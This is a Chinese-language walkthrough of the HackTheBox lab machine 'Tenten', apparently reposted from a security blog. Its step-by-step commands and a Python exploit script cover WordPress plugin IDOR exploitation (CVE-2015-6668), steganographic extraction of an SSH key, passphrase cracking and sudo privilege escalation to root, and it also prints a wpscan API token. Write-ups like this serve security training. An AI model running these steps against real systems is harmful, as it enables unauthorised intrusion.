HTB渗透之Tenten
2022-12-12 16:42:58 Author: 亿人安全(查看原文) 阅读量:16 收藏

Tenten 是一个中等难度的靶机,知识点涉及 WordPress 插件利用、SSH 密钥爆破、SSH 私钥登录、sudo 提权等。感兴趣的同学可以在HackTheBox中进行学习。

通关思维导图

0x01 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.10 -oA nmap_Tenten

扫描结果显示目标仅开放22、80端口

80端口

访问重定向至tenten.htb,因此需在 hosts 文件中配置域名解析

vim /etc/hosts
#配置
10.10.10.10 tenten.htb

再次访问页面如下,站点采用模版是 WordPress,其标题为 Job Potral

网站中只有默认模板Hello world

点击Job Listing可进入工作介绍,目前正在招聘的职位是渗透测试

点击Apply Now可填写简历,其中包含姓名、邮箱、住址等信息

http://tenten.htb/index.php/jobs/apply/8/

虽然存在文件上传点,但上传 PHP 脚本文件后提交简历会出错

尝试将提交简历的网址中的8修改为1,标题由原来的Pen Tester改为Hello World

http://tenten.htb/index.php/jobs/apply/1/

配合 grep、cut 命令进行筛选标题

curl -s http://tenten.htb/index.php/jobs/apply/8/ | grep "entry-title" | cut -d ">" -f2 | cut -d "<" -f1

编写脚本遍历网址中的数字

for i in $(seq 1 25); do echo -n "$i: "; curl -s http://tenten.htb/index.php/jobs/apply/$i/ | grep "entry-title" | cut -d ">" -f2 | cut -d "<" -f1;done

成功拿到以下几个标题:

1: Job Application: Hello world!
2: Job Application: Sample Page
3: Job Application: Auto Draft
5: Job Application: Jobs Listing
6: Job Application: Job Application
7: Job Application: Register
8: Job Application: Pen Tester
10: Job Application: Application
11: Job Application: cube
12: Job Application: Application
13: Job Application: HackerAccessGranted
14: Job Application: Application

目录扫描

WordPress 是一款开源的内容管理系统(CMS),可用于构建网站、博客和应用程序。它提供了一个用户友好的界面,方便用户创建和管理内容,并拥有丰富的插件和主题可扩展其功能。

使用 gobuster 对站点进行目录扫描,结果中只包含了 WordPress 的常见目录及文件

gobuster dir -u http://tenten.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 100 --no-error

漏洞扫描

使用 wpscan 对 WordPress 模版进行专项扫描,结果显示 WordPress 主题为twentyseventeen

wpscan --url http://tenten.htb  --api-token Rjr3NLjvRw21PbkmvY6h4EI1uqS5wB9lzCpPiLziH3A -e

发现存在插件 Job Manager,其中存在两个漏洞,分别是 IDOR 和 XSS

同时还发现一个用户名takis

0x02 上线[takis]

Job Manager插件

WordPress 作为世界上最受欢迎的网站构建平台之一,其中存在漏洞的点一般在插件当中,而在站点中只存在 Job Manager 插件。wpscan 发现 Job Manager 共存在两个漏洞,XSS 在当前环境没有什么利用价值,因此可重点关注 CVE-2015-6668,利用代码经修改后如下:

脚本地址:https://github.com/k4u5h41/CVE-2015-6668

import requests

print """
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
"""

website = raw_input('Enter a vulnerable website: ')
#filename = raw_input('Enter a file name: ')

filenames = ["Hello world!","Sample Page","Auto Draft","Jobs Listing","Job Application","Register","Pen Tester","Application","cube","HackerAccessGranted"]

for filename in filenames:
    filename2 = filename.replace(" ""-")
    for year in range(2013,2018):
        for i in range(1,13):
            for extension in {'jpg','jpeg','docx'}:
                URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
                req = requests.get(URL)
                if req.status_code==200:
                    print "[+] URL of CV found! " + URL

成功拿到地址并访问,该图片可能采用了隐写术

http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg

SSH密钥爆破

使用 steghide 分析图片,成功拿到id_rsa

steghide extract -sf HackerAccessGranted.jpg

一般而言id_rsa在 SSH 中作为私钥使用

cat id_rsa

通过 ssh2john 把id_rsa转换为哈希,以便使用 john 爆破

python /usr/share/john/ssh2john.py id_rsa                                                                          

使用 john 进行爆破,成功拿到密码为superpassword

john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt

SSH私钥登录

尝试利用该私钥登录 SSH,首先赋予其 400 权限

chmod 400 id_rsa

使用私钥登录用户takis,当然还要输入密码

ssh -i id_rsa [email protected]

在当前用户家目录中成功找到第一个flag

cat user.txt

0x03 权限提升[root]

信息收集

检查当前用户sudo权限,结果显示可使用 sudo 命令执行任意超级用户的权限,但前提是需要拥有当前用户的密码,只有以 sudo 运行/bin/fuckin时无需输入密码

sudo -l

查看/bin/fuckin,其内容为 Bash 脚本,存在四个可输入参数

cat /bin/fuckin

尝试运行程序fuckin

/bin/fuckin echo mac

sudo提权

由于 sudo 运行fuckin无需密码,因此输入命令id可查看当前权限为 root

sudo /bin/fuckin id

成功获取 root 的 shell

sudo /bin/fuckin /bin/bash

/root目录中成功拿到第二个flag

cat /root/root.txt

0x04 总结

Tenten 译为两个十,可能取自 WordPress 的主题twentyseventeen中的 twenty。通过信息收集发现目标站点采用的 CMS 为 WordPress,简单浏览网站可知站点的主要功能是工作照片。尝试利用 wpscan 扫描发现用户名 takis 和 WordPress 插件 Job Manager,插件中存在两个漏洞,分别是 XSS 以及 IDOR,针对 IDOR 漏洞枚举查找简历,最终成功找到一张使用隐写术的图片。

使用 steghide 分析后找到 SSH 私钥id_rsa,由于该私钥无法直接使用且需要输入密码,通过 ssh2john 把私钥转换为可爆破的哈希值,最终使用 john 成功爆破拿到明文密码。利用该密码可完成 SSH 私钥登录,成功拿到用户权限。在服务器中检查当前用户的 sudo 权限,发现/bin/fuckin无需密码便可通过 sudo 执行,因此 sudo 命令配合/bin/fuckin可成功提权至 root 权限。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247501927&idx=2&sn=e2e52c3eeca526cfaba90cc0f6d7d90c&chksm=c2d7037ff5a08a6971760036f83f94ec6e58c3c398226e5f390c0add681b8e0a12f42e45b64b#rd
如有侵权请联系:admin#unsafe.sh